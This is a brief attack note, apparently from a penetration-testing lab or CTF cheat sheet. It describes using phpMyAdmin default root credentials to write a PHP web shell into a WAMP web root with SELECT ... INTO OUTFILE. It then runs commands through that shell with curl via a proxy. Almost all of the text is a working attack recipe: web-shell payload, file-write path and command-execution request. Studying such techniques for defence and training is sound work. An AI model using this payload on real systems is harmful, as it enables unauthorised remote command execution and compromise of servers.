phpmyadmin

if you get logged in with default creds(username:root, no-pass),

you might try running the following in the SQL query

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/wamp/www/cmd.php' 

and run

curl "http://127.0.0.1:8080/cmd.php?cmd=whoami" --proxy 192.168.120.223:3128 

or

visiting the url directory from web